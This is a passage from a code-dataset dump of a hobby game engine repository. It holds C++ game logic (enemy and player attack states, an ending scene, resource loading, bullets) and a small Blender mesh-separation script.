EnPodBone::Burrel_L2)]);\n\tm_muzzleFlashes.at(TO_INT(EnMuzzles::LowerLeft))->SetRot(m_effectTransforms.m_rotList[TO_INT(Pod::EnPodBone::Burrel_L2)]);\n\n}"
},
{
"alpha_fraction": 0.7355371713638306,
"alphanum_fraction": 0.7410468459129333,
"avg_line_length": 21.6875,
"blob_id": "c0697b2e25063eb5b2b409f8534a50a0d404b968",
"content_id": "6272601808ab4673e15307f12b00e1b3b4da3f62",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 363,
"license_type": "no_license",
"max_line_length": 53,
"num_lines": 16,
"path": "/Game/Enemy/State/MiddleBombState/BossBombRollingState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n\nclass BossBombRollingState final : public IEnemyState\n{\npublic:\n\tBossBombRollingState();\n\t~BossBombRollingState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\n\tvoid OnAttacked(IEnemy* e);\nprivate:\n\tfloat m_timer = 0.f;\n\tfloat m_timeLimit = 1.f;\n};\n"
},
{
"alpha_fraction": 0.6267592906951904,
"alphanum_fraction": 0.645585834980011,
"avg_line_length": 22.786956787109375,
"blob_id": "1c13602438224ebdb44dd4bc8c314e71f4bd74c4",
"content_id": "bb146561e037b46a8165742c6a3435bc9f0606a1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 5471,
"license_type": "no_license",
"max_line_length": 126,
"num_lines": 230,
"path": "/Game/EndingScene.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"EndingScene.h\"\n\n#include \"EventMovie/EventMovie.h\"\n\n#include \"GameManager.h\"\n#include \"Game.h\"\n#include \"Player/Player.h\"\n#include \"Goal.h\"\n#include \"Fade.h\"\n#include \"Camera/GameCamera.h\"\n\n#include \"Enemy/EnemyManager.h\"\n#include \"Result.h\"\n#include \"Player/Player.h\"\n#include \"Player/Attachment/JetPack.h\"\n#include \"Player/Attachment/Gun.h\"\n#include \"Player/Attachment/Shield.h\"\n\nEndingScene::EndingScene()\n{\n\n}\n\nEndingScene::~EndingScene()\n{\n\n}\n\n\n\nvoid EndingScene::Release()\n{\n\tDeleteGO(m_edBack);\n\tDeleteGO(m_edBack_cross);\n\tDeleteGO(m_esca);\n\tDeleteGO(m_gogogo);\n\tDeleteGO(m_movie);\n\tDeleteGO(m_plane);\n\tDeleteGO(GameManager::GetInstance().m_player);\n}\n\nvoid EndingScene::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid EndingScene::Awake()\n{\n\n}\n\nbool EndingScene::Start()\n{\n\tGameManager::GetInstance().GetGameCamera()->SetActive(false);\n\tGameManager::GetInstance().GetPlayer()->SetState(GameManager::GetInstance().GetPlayer()->GetState(Player::EnState::enMovie));\n\t\n\t\n\tModelInitData mid;\n\tmid.m_upAxis = enUpAxisY;\n\tmid.m_tkmFilePath = \"Assets/modelData/edBack/edBack.tkm\";\n\tm_edBack = NewGO<ModelRender>(0);\n\tm_edBack->Init(mid);\n\tm_edBack->SetMulColor({ 0,0,0,1 });\n\tmid.m_tkmFilePath = \"Assets/modelData/edBack/edBack_cross.tkm\";\n\tm_edBack_cross = NewGO<ModelRender>(0);\n\tm_edBack_cross->Init(mid);\n\t//m_edBack_cross->SetMulColor({ 11,11,11,1 });\n\tm_edBack_cross->SetMulColor({ 50,1,1,1 });\n\tg_graphicsEngine->GetPostEffect().GetBloom().SetStreekFrag(false);\n\n\tm_esca = NewGO<CSoundSource>(0);\n\tm_esca->Init(L\"Assets/sound/esca.wav\");\n\tm_gogogo = NewGO<CSoundSource>(0);\n\tm_gogogo->Init(L\"Assets/sound/gogogo.wav\");\n\t//m_exit->SetAnimPlaySpeed(0.5);\n\n\tm_movie = NewGO<EventMovie>(0);\n\tm_movie->Init(\"Assets/eventMovie/ed.evm\", g_camera3D,\n\t\t[&](const std::string& name)->ModelRender*\n\t\t{\n\t\t\tModelRender* res = nullptr;\n\t\t\tif (std::strcmp(name.c_str(), \"exit\")==0)\n\t\t\t{\n\t\t\t\tGameManager::GetInstance().m_goal->SetActive(false);\n\t\t\t\tm_exit = GameManager::GetInstance().m_goal->GetModelRender();\n\t\t\t\tm_exit->SetAnimPlaySpeed(0.5);\n\t\t\t\tm_exit->Play(0);\n\t\t\t\tres = m_exit;\n\t\t\t}\n\t\t\telse if (std::strcmp(name.c_str(), \"m\") == 0)\n\t\t\t{\n\t\t\t\tGameManager::GetInstance().GetPlayer()->SetActive(false);\n\t\t\t\tGameManager::GetInstance().GetPlayer()->PlayAnimation(Player::EnAnimation::enIdle);\n\t\t\t\tm_player = &GameManager::GetInstance().GetPlayer()->GetModelRender();\n\t\t\t\t\n\t\t\t\tres = m_player;\n\t\t\t}\n\t\t\telse if (std::strcmp(name.c_str(), \"Plane\") == 0)\n\t\t\t{\n\t\t\t\tm_plane = NewGO<ModelRender>(0);\n\t\t\t\tModelInitData mid;\n\t\t\t\tmid.m_upAxis = enUpAxisY;\n\t\t\t\tmid.m_tkmFilePath = \"Assets/modelData/plane/plane.tkm\";\n\t\t\t\tm_plane->Init(mid);\n\t\t\t\tm_plane->SetMulColor({ 50,50,50,1 });\n\t\t\t\tres = m_plane;\n\t\t\t}\n\t\t\treturn res;\n\t\t},\n\t\t[&](const std::string& name)\n\t\t{\n\t\t\tif (std::strcmp(name.c_str(), \"FOV_60\")==0)\n\t\t\t{\n\t\t\t\tg_camera3D->SetViewAngle(Math::DegToRad(60));\n\t\t\t\t\n\t\t\t\tif (!m_isTake_on)\n\t\t\t\t{\n\t\t\t\t\tm_esca->SetVolume(0.5);\n\t\t\t\t\tm_esca->Play(true);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (std::strcmp(name.c_str(), \"FOV_30\") == 0)\n\t\t\t{\n\t\t\t\tg_camera3D->SetViewAngle(Math::DegToRad(30));\n\t\t\t}\n\t\t\telse if (std::strcmp(name.c_str(), \"light_exit\") == 0)\n\t\t\t{\n\t\t\t\tm_esca->SetVolume(0.2);\n\t\t\t\t//m_exit->SetMulColor({ 3,3,3,1 });\n\t\t\t}\n\t\t\telse if (std::strcmp(name.c_str(), \"dark_exit\") == 0)\n\t\t\t{\n\t\t\t\tm_esca->SetVolume(0.5);\n\t\t\t\tm_exit->SetMulColor({ 1,1,1,1 });\n\t\t\t}\n\t\t\telse if (std::strcmp(name.c_str(), \"take_on\") == 0)\n\t\t\t{\n\t\t\t\tm_esca->Stop();\n\t\t\t\tm_isTake_on = true;\n\t\t\t\tCSoundSource* se = NewGO<CSoundSource>(0);\n\t\t\t\tse->Init(L\"Assets/sound/omoi_panchi.wav\");\n\t\t\t\tse->SetVolume(0.5);\n\t\t\t\tse->Play(false);\n\t\t\t}\n\t\t\telse if (std::strcmp(name.c_str(), \"open\") == 0)\n\t\t\t{\n\t\t\t\tm_exit->Play(1);\n\t\t\t\tm_gogogo->Play(true);\n\t\t\t\tm_gogogo->SetVolume(0.3);\n\t\t\t}\n\t\t\telse if (std::strcmp(name.c_str(), \"fade_out\") == 0)\n\t\t\t{\n\t\t\t\tFade::GetInstance().SetFadeColor(Vector3::One);\n\t\t\t\tFade::GetInstance().SetFadeSpeed(1. / 4.);\n\t\t\t\tFade::GetInstance().FadeOut();\n\t\t\t\tm_isFadeOut = true;\n\t\t\t}\n\t\t});\n\t\n\tFade::GetInstance().FadeIn();\n\n\treturn true;\n}\n\n\nvoid EndingScene::PreUpdate()\n{\n\n}\n\nvoid EndingScene::Update()\n{\n\tfloat dtime = gameTime()->GetDeltaTime();\n\tif (m_isFadeOut)\n\t{\n\t\tfloat v = m_gogogo->GetVolume();\n\t\tif (v == 0.f)\n\t\t{\n\t\t\tm_gogogo->Stop();\n\t\t}\n\t\telse\n\t\t\tm_gogogo->SetVolume(max(v - dtime * (1. / 8.),0.f));\n\n\t\tif (Fade::GetInstance().IsFaded())\n\t\t{\n\t\t\t\n\n\n\t\t\tauto result = NewGO<Result>(3);\n\n\t\t\tconst double meleeActiveTime = GameManager::GetInstance().m_player->GetJetPack()->GetActivatedTime();\n\t\t\tconst double remoteActiveTime = GameManager::GetInstance().m_player->GetGun()->GetActivatedTime();\n\t\t\tconst double bombActiveTime = GameManager::GetInstance().m_player->GetShield()->GetActivatedTime();\n\n\t\t\tResult::SAttachmentPercentage ap;\n\t\t\tap.defaultAttachment = ((m_clearTimer - (meleeActiveTime + remoteActiveTime + bombActiveTime)) / m_clearTimer) * 100.0;\n\t\t\tap.meleeAttachment = (meleeActiveTime / m_clearTimer) * 100.0;\n\t\t\tap.remoteAttachment = (remoteActiveTime / m_clearTimer) * 100.0;\n\t\t\tap.bombAttachment = (bombActiveTime / m_clearTimer) * 100.0;\n\t\t\tconst int numCorpse = EnemyManager::GetEnemyManager().GetCorpseCount();\n\t\t\tresult->Init(m_clearTimer, numCorpse, ap);\n\n\t\t\tDeleteGO(GameManager::GetInstance().m_gameScene);\n\t\t\tauto& fade = Fade::GetInstance();\n\t\t\tfade.SetFadeSpeed(1);\n\t\t\tfade.SetFadeColor({ 0.f,0.f,0.f});\n\n\t\t\tauto pthis = this;\n\t\t\tDeleteGO(pthis);\n\t\t}\n\t}\n}\n\nvoid EndingScene::PostUpdate()\n{\n\n}\n\n\nvoid EndingScene::Render()\n{\n\n}\n\nvoid EndingScene::PostRender()\n{\n\n}\n"
},
{
"alpha_fraction": 0.7701863646507263,
"alphanum_fraction": 0.7732919454574585,
"avg_line_length": 22,
"blob_id": "adccddefbb4437dc9e7560515fedba546b565b80",
"content_id": "bd4d78994577a54e38b7c16c55675f5ef8c094b5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 322,
"license_type": "no_license",
"max_line_length": 58,
"num_lines": 14,
"path": "/Game/Enemy/State/EnemyShortRangeDanceState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"IEnemyState.h\"\n\nclass EnemyShortRangeDanceState final : public IEnemyState\n{\npublic:\n\tEnemyShortRangeDanceState();\n\t~EnemyShortRangeDanceState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\nprivate:\n\tfloat\tm_danceIntervalSecond = 0;\n};\n"
},
{
"alpha_fraction": 0.7291242480278015,
"alphanum_fraction": 0.7474541664123535,
"avg_line_length": 24.842105865478516,
"blob_id": "e5391fc43d50e5c59767f2b0768447978a0f4090",
"content_id": "cc1dbf8f93f348cf24987d395b1939a8d6d68ac9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 519,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 19,
"path": "/Game/Enemy/State/ShortBigState/EnemyShortBigStrongPunch.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n#include \"Player/Player.h\"\nclass EnemyShortBigStrongPunch final : public IEnemyState\n{\npublic:\n\tEnemyShortBigStrongPunch();\n\t~EnemyShortBigStrongPunch();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\n\tvoid OnAttacked(IEnemy* e);\nprivate:\n\t//プレイヤーの体力を5発で0にする\n\tconst float\t\tm_damage = Player::GetMaxHP() / 5.0f;\n\tfloat m_fowardMove = 100.f;\n\n\tVector3 m_forward = Vector3::Zero;\n};\n"
},
{
"alpha_fraction": 0.6658097505569458,
"alphanum_fraction": 0.6709511280059814,
"avg_line_length": 25,
"blob_id": "d4a8bf6569aef6b0404966517e44f771c102c4b6",
"content_id": "08aa05c477d0d9dee4c89e8ec72e791deb096de0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 389,
"license_type": "no_license",
"max_line_length": 46,
"num_lines": 15,
"path": "/BlenderPlugin/separater.py",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#coding:utf-8\n\nimport bpy\n\nobj = bpy.context.active_object\nfor i in range(len(obj.data.polygons)):\n bpy.ops.object.mode_set(mode=\"EDIT\")\n bpy.ops.mesh.select_mode(type=\"FACE\")\n bpy.ops.mesh.select_all(action=\"DESELECT\")\n \n bpy.ops.object.mode_set(mode=\"OBJECT\")\n obj.data.polygons[0].select = True\n bpy.ops.object.mode_set(mode=\"EDIT\")\n \n bpy.ops.mesh.separate()"
},
{
"alpha_fraction": 0.583935022354126,
"alphanum_fraction": 0.5866426229476929,
"avg_line_length": 13.786666870117188,
"blob_id": "a264cf20c825e12380b48f51514abf15c2b66422",
"content_id": "621e7ceda6380e85ade307c52efa54cccf1841e4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1108,
"license_type": "no_license",
"max_line_length": 52,
"num_lines": 75,
"path": "/UsualEngineR/tkFile/TkFileManager.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n\nnamespace UER\n{\n\t\n\ttemplate<class tkFile>\n\tclass TkFileManager\n\t{\n\tpublic:\n\t\tTkFileManager()\n\t\t{\n\n\t\t}\n\t\tvirtual ~TkFileManager()\n\t\t{\n\n\t\t}\n\t\tvoid Release()\n\t\t{\n\t\t\tfor (auto& p : m_resources)\n\t\t\t{\n\t\t\t\tdelete p.second.file;\n\t\t\t}\n\t\t}\n\n\t\ttkFile* Load(const char* path)\n\t\t{\n\t\t\ttkFile* res = nullptr;\n\t\t\tint hash = Util::MakeHash(path);\n\t\t\tload_mutex.lock();\n\t\t\tauto it = m_resources.find(hash);\n\t\t\tif (it == m_resources.end())\n\t\t\t{\n\t\t\t\tFileData fdata;\n\t\t\t\tm_resources.insert(std::make_pair(hash, fdata));\n\t\t\t\tload_mutex.unlock();\n\n\t\t\t\ttkFile* tk = new tkFile;\n\t\t\t\ttk->Load(path);\n\t\t\t\tm_resources.at(hash).file = tk;\n\n\t\t\t\tres = tk;\n\t\t\t\tm_resources.at(hash).isLoaded = true;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tload_mutex.unlock();\n\t\t\t\tconst FileData& fd = m_resources.at(hash);\n\t\t\t\twhile(!fd.isLoaded)\n\t\t\t\t{\n\t\t\t\t\tSleep(10);\n\t\t\t\t}\n\t\t\t\tres = fd.file;\n\t\t\t}\n\n\t\t\treturn res;\n\t\t}\n\n\tprivate:\n\t\tstatic std::mutex load_mutex;\n\n\t\tstruct FileData\n\t\t{\n\t\t\ttkFile* file = 0;\n\t\t\tbool isLoaded = false;\n\t\t};\n\n\t\tstd::map<int, FileData> m_resources;\n\t\t\n\t\t\n\t};\n\ttemplate<class tkFile>\n\tstd::mutex TkFileManager<tkFile>::load_mutex;\n}"
},
{
"alpha_fraction": 0.6892163157463074,
"alphanum_fraction": 0.7019423842430115,
"avg_line_length": 22.714284896850586,
"blob_id": "c980de8045be2cf14ae0706b6e62dee74c5a5912",
"content_id": "f3ca7397d4d658bda86ddd069a9e8b9d5a9a13d4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1493,
"license_type": "no_license",
"max_line_length": 69,
"num_lines": 63,
"path": "/Game/Enemy/State/MeleeBossState/EnemyMeleeOverheatState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"EnemyMeleeOverheatState.h\"\n#include \"../../EnemyManager.h\"\n#include \"../../IEnemy.h\"\n#include \"../../../Player/Player.h\"\n#include \"../../Boss/BossA.h\"\n#include \"../../../Effect/JetEffect.h\"\n\n\nEnemyMeleeOverheatState::EnemyMeleeOverheatState() {\n\n}\n\nEnemyMeleeOverheatState::~EnemyMeleeOverheatState() {\n\n}\n\nvoid EnemyMeleeOverheatState::Enter(IEnemy* e) {\n\n\te->PlayAnimation(IEnemy::EnAnimation::enIdle);\n\t\n\tauto& effects = e->GetJetEffects();\n\teffects.at(TO_INT(BossA::EnJetBone::ThrusterL))->SetScale(0.01f);\n\teffects.at(TO_INT(BossA::EnJetBone::ThrusterR))->SetScale(0.01f);\n\teffects.at(TO_INT(BossA::EnJetBone::Skirt))->SetScale(0.01f);\n\n\tm_timer = 0.f;\n\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Enter enemy overheat\\n\");\n#endif\n}\n\nIEnemyState* EnemyMeleeOverheatState::Update(IEnemy* e) {\n\n\tconst float GRAVITY = -50.f;\n\n\tm_timer += gameTime()->GetDeltaTime();\n\n\tauto vel = Vector3::Zero;\n\tvel.y = GRAVITY;\n\te->SetVelocity(vel);\n\n\tif (m_timer > m_time) {\n\t\treturn e->GetStateMap().at(TO_INT(IEnemy::EnState::enBattleState));\n\t}\n\n\treturn this;\n}\n\nvoid EnemyMeleeOverheatState::Exit(IEnemy* e) {\n\n\tauto& effects = e->GetJetEffects();\n\teffects.at(TO_INT(BossA::EnJetBone::ThrusterL))->SetScale( 0.1f);\n\teffects.at(TO_INT(BossA::EnJetBone::ThrusterR))->SetScale(0.1f);\n\teffects.at(TO_INT(BossA::EnJetBone::Skirt))->SetScale(0.1f);\n\n\te->RecoverStamina(e->GetAbility().max_stamina);\n\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Exit enemy overheat\\n\");\n#endif\n}"
},
{
"alpha_fraction": 0.737037718296051,
"alphanum_fraction": 0.7390819787979126,
"avg_line_length": 27.78074836730957,
"blob_id": "0d4d8f7d8b4f326950fef846460509957f23bf34",
"content_id": "5c114c07d1e7f41be87b62fb9dc89ecc4aace403",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 5381,
"license_type": "no_license",
"max_line_length": 79,
"num_lines": 187,
"path": "/Game/Player/State/PlayerAttackState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"PlayerAttackState.h\"\n#include \"../Player.h\"\n#include \"../Attack/IPlayerAttack.h\"\n#include \"../Attack/PlayerAttackSlash.h\"\n#include \"../Attack/PlayerAttackA.h\"\n#include \"../Attack/DefaultPreset/PlayerAttackPunch.h\"\n#include \"../Attack/DefaultPreset/PlayerAttackKick.h\"\n#include \"../Attack/DistantPreset/PlayerAttackHipShot.h\"\n#include \"../Attack/DistantPreset/PlayerAttackThrowPod.h\"\n#include \"../Attack/MeleePreset/PlayerAttackRevolvingTackle.h\"\n#include \"../Attack/MeleePreset/PlayerAttackTackle.h\"\n#include \"../Attack/ExplosivePreset/PlayerAttackExplosion.h\"\n#include \"../Attack/ExplosivePreset/PlayerAttackThrowBomb.h\"\n\nPlayerAttackState::PlayerAttackState() {\n\n\tauto slash = new PlayerAttackSlash;\n\tm_attackClasses.push_back(slash);\n\n\tauto attackA = new PlayerAttackA;\n\tm_attackClasses.push_back(attackA);\n\n\t//Default\n\tauto punch = new PlayerAttackPunch;\n\tm_attackClasses.push_back(punch);\n\n\tauto kick = new PlayerAttackKick;\n\tm_attackClasses.push_back(kick);\n\n\t//Distant\n\tauto hipShot = new PlayerAttackHipShot;\n\tm_attackClasses.push_back(hipShot);\n\n\tauto throwPod = new PlayerAttackThrowPod;\n\tm_attackClasses.push_back(throwPod);\n\n\t//Melee\n\tauto tackle = new PlayerAttackTackle;\n\tm_attackClasses.push_back(tackle);\n\n\tauto revolvingTackle = new PlayerAttackRevolvingTackle;\n\tm_attackClasses.push_back(revolvingTackle);\n\n\t//Explosion\n\tauto throwBomb = new PlayerAttackThrowBomb;\n\tm_attackClasses.push_back(throwBomb);\n\n\tauto explosion = new PlayerAttackExplosion;\n\tm_attackClasses.push_back(explosion);\n\n\t//Preset Default\n\tstd::vector<IPlayerAttack*> presetDefault;\n\tpresetDefault.resize(TO_INT(EnAttackType::enNumAttackType));\n\tpresetDefault.at(TO_INT(EnAttackType::enNormalAttack)) = punch;\n\tpresetDefault.at(TO_INT(EnAttackType::enSecondAttack)) = kick;\n\tm_skills.insert(std::make_pair(EnPreset::enPresetDefault, presetDefault));\n\n\t//Preset Distant\n\tstd::vector<IPlayerAttack*> presetDistant;\n\tpresetDistant.resize(TO_INT(EnAttackType::enNumAttackType));\n\tpresetDistant.at(TO_INT(EnAttackType::enNormalAttack)) = hipShot;\n\tpresetDistant.at(TO_INT(EnAttackType::enSecondAttack)) = throwPod;\n\tm_skills.insert(std::make_pair(EnPreset::enPresetDistant, presetDistant));\n\n\t//Preset Melee\n\tstd::vector<IPlayerAttack*> presetMelee;\n\tpresetMelee.resize(TO_INT(EnAttackType::enNumAttackType));\n\tpresetMelee.at(TO_INT(EnAttackType::enNormalAttack)) = tackle;\n\tpresetMelee.at(TO_INT(EnAttackType::enSecondAttack)) = revolvingTackle;\n\tm_skills.insert(std::make_pair(EnPreset::enPresetMelee, presetMelee));\n\n\t//Preset Explosion\n\tstd::vector<IPlayerAttack*> presetExplosion;\n\tpresetExplosion.resize(TO_INT(EnAttackType::enNumAttackType));\n\tpresetExplosion.at(TO_INT(EnAttackType::enNormalAttack)) = throwBomb;\n\tpresetExplosion.at(TO_INT(EnAttackType::enSecondAttack)) = explosion;\n\tm_skills.insert(std::make_pair(EnPreset::enPresetExplosion, presetExplosion));\n\n}\n\nPlayerAttackState::~PlayerAttackState() {\n\tfor (int i = 0; i < m_attackClasses.size(); i++) {\n\t\tdelete m_attackClasses[i];\n\t}\n}\n\nvoid PlayerAttackState::Enter(Player* p) {\n\n#ifdef _PRINT_PLAYER_STATE\n\tDebugPrint_WATA(\"Player Attack Enter\\n\");\n#endif\n\n\tauto& vel = p->GetLocalVelocity();\n\tp->SetVelocity(Vector3::Zero);\n\tm_combo = 1;\n\n\tauto& preset = p->GetCurrentAttackPreset();\n\n\t//Default Preset\n\tif (preset == Player::EnAttackPreset::enDefault) {\n\n\t\tauto& defaultSkills = m_skills.at(EnPreset::enPresetDefault);\n\n\t\tif (g_pad[0]->IsTrigger(enButtonB)) {\n\t\t\tm_currentAttack = defaultSkills.at(TO_INT(EnAttackType::enNormalAttack));\n\t\t}\n\n\t\tif (g_pad[0]->IsTrigger(enButtonY)) {\n\t\t\tm_currentAttack = defaultSkills.at(TO_INT(EnAttackType::enSecondAttack));\n\t\t}\n\t}\n\n\t//Preset A\n\tif (preset == Player::EnAttackPreset::enRemoteAttackPreset) {\n\n\t\tauto& ASkills = m_skills.at(EnPreset::enPresetDistant);\n\n\t\tif (g_pad[0]->IsTrigger(enButtonB)) {\n\t\t\tm_currentAttack = ASkills.at(TO_INT(EnAttackType::enNormalAttack));\n\t\t}\n\n\t\tif (g_pad[0]->IsTrigger(enButtonY)) {\n\t\t\tm_currentAttack = ASkills.at(TO_INT(EnAttackType::enSecondAttack));\n\t\t}\n\t}\n\n\n\t//Preset B\n\tif (preset == Player::EnAttackPreset::enMeleePreset) {\n\n\t\tauto& BSkills = m_skills.at(EnPreset::enPresetMelee);\n\n\t\tif (g_pad[0]->IsTrigger(enButtonB)) {\n\t\t\tm_currentAttack = BSkills.at(TO_INT(EnAttackType::enNormalAttack));\n\t\t}\n\n\t\tif (g_pad[0]->IsTrigger(enButtonY)) {\n\t\t\tm_currentAttack = BSkills.at(TO_INT(EnAttackType::enSecondAttack));\n\t\t}\n\t}\n\n\t//Preset C\n\tif (preset == Player::EnAttackPreset::enExplosivePreset) {\n\n\t\tauto& CSkills = m_skills.at(EnPreset::enPresetExplosion);\n\n\t\tif (g_pad[0]->IsTrigger(enButtonB)) {\n\t\t\tm_currentAttack = CSkills.at(TO_INT(EnAttackType::enNormalAttack));\n\t\t}\n\n\t\tif (g_pad[0]->IsTrigger(enButtonY)) {\n\t\t\tm_currentAttack = CSkills.at(TO_INT(EnAttackType::enSecondAttack));\n\t\t}\n\t}\n\n\tm_currentAttack->Init(p,m_combo);\n\tm_currentAttack->GetInterval();\n}\n\nvoid PlayerAttackState::Exit(Player* p) {\n#ifdef _PRINT_PLAYER_STATE\n\tDebugPrint_WATA(\"Attack Exit\\n\");\n#endif\n}\n\nIPlayerState* PlayerAttackState::Update(Player* p) {\n\n\tm_currentAttack->Execute(p);\n\t\n\tif (m_currentAttack->IsDone()) {\n\t\tif (m_elpased <= m_currentAttack->GetInterval()) {\n\t\t\tm_elpased += gameTime()->GetDeltaTime();\n\t\t\treturn this;\n\t\t}\n\t\tauto ca = m_currentAttack->IsContinueAttack();\n\t\tif (ca and m_combo < m_MAX_COMBO) {\n\t\t\tm_combo++;\n\t\t\tm_currentAttack->Init(p,m_combo);\n\t\t}\n\t\telse {\n\t\t\treturn p->GetPreviousState();\n\t\t}\n\t}\n\n\treturn this;\n}"
},
{
"alpha_fraction": 0.652996838092804,
"alphanum_fraction": 0.6621100306510925,
"avg_line_length": 16.837499618530273,
"blob_id": "47fb8018057b3669a59cd46d21df17eb124bffc2",
"content_id": "7c50d574dd8cf5af12312875b7de482d03ee19d3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3179,
"license_type": "no_license",
"max_line_length": 113,
"num_lines": 160,
"path": "/Game/Enemy/Equipment/Enemy_Bullet.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\nclass Ballistic;\n\n/// <summary>\n/// \n/// </summary>\nclass Enemy_Bullet final:public GameObject\n{\npublic:\n\tEnemy_Bullet();\n\tvirtual ~Enemy_Bullet();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// 初期化。\n\t/// dirはNomalizeしておくこと。\n\t/// </summary>\n\t/// <param name=\"pos\"></param>\n\t/// <param name=\"scale\"></param>\n\t/// <param name=\"dir\"></param>\n\t/// <param name=\"speed\"></param>\n\tvoid Init(const Vector3& pos, float scale, const Vector3& dir, float speed, float timeLimit, float attackRenge);\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\n\tvoid SetDir(const Vector3& v)\n\t{\n\t\tm_dir = v;\n\t}\n\tconst Vector3& GetDir() const\n\t{\n\t\treturn m_dir;\n\t}\n\n\tvoid SetSpeed(const float f)\n\t{\n\t\tm_speed = f;\n\t}\n\tfloat GetSpeed() const\n\t{\n\t\treturn m_speed;\n\t}\n\n\tvoid SetDamage(const float f, const bool stunFlag = false, const Vector3& vel = Vector3::Zero)\n\t{\n\t\tm_damage = f;\n\t\tm_isStunFlag = stunFlag;\n\t\tm_vel = vel;\n\t}\n\nprivate:\n\t//ModelRender* m_model;\n\tfloat m_scale;\n\t\n\tVector3 m_dir;\n\tfloat m_speed;\n\n\tfloat m_timer = 0.f;\n\tfloat m_timeLimit = 0.f;\n\n\tfloat m_attackRange = 0.f;\n\tfloat m_damage = 10.f;\n\tbool m_isStunFlag = false;\n\tVector3 m_vel = Vector3::Zero;\n\n\tSphereCollider m_sphere;\n\n\tVector3 m_pos;\n\tQuaternion m_rot;\n\tVector3 m_sca;\n\n\tint m_instanceNum = 0;\n\tMatrix* m_worldMatrix = nullptr;\n\t//Ballistic* m_effect;\n};\n\n\nclass EnemyBulletManager final : public GameObject\n{\npublic:\n\tstatic EnemyBulletManager* GetInstance();\n\t\n\tvoid Release() override;\n\tvoid OnDestroy() override;\n\n\tvoid Awake() override;\n\n\tvoid PostUpdate() override;\n\n\tvoid Allocate(int num);\n\n\tstd::pair<int, Matrix*> GetInstanceMatrix();\n\n\tvoid AddInstance();\n\tvoid DeadInstance(int num);\n\n\tvoid InstanceNULL()\n\t{\n\t\tfor (int i=0;i<m_usingMatrix.size();i++)\n\t\t{\n\t\t\tm_usingMatrix[i] = false;\n\t\t}\n\t\tm_model->SetInstanceNum(0);\n\t}\nprivate:\n\tStructuredBuffer m_structuredBuff;\n\tstd::vector<Matrix> m_instanceMatrix;\n\tstd::vector<bool> m_usingMatrix;\n\tModelRender* m_model = 0;\n\n\tstd::mutex m_mutex;\n\n\tstd::vector<Enemy_Bullet*> m_bulletList;\n\tint m_bulletNum = 0;\n\tint m_nextAllocateActiveNum = 30;\n\tint m_allocElementNum = 60;\n\tThreadObject m_thread;\n\n\tbool m_isAllocate = false;\n\tint m_oldNum = 0;\n\n\t//bool m_isInit = false;\n};\n\nextern EnemyBulletManager* g_enemyBulletManager;"
},
{
"alpha_fraction": 0.6374652981758118,
"alphanum_fraction": 0.6558949947357178,
"avg_line_length": 19.63020896911621,
"blob_id": "2038f3318651f6781f3a477654eb12ad02aa902f",
"content_id": "4a7b17bb4f104497c526a6809d1eb0f4675b3902",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3961,
"license_type": "no_license",
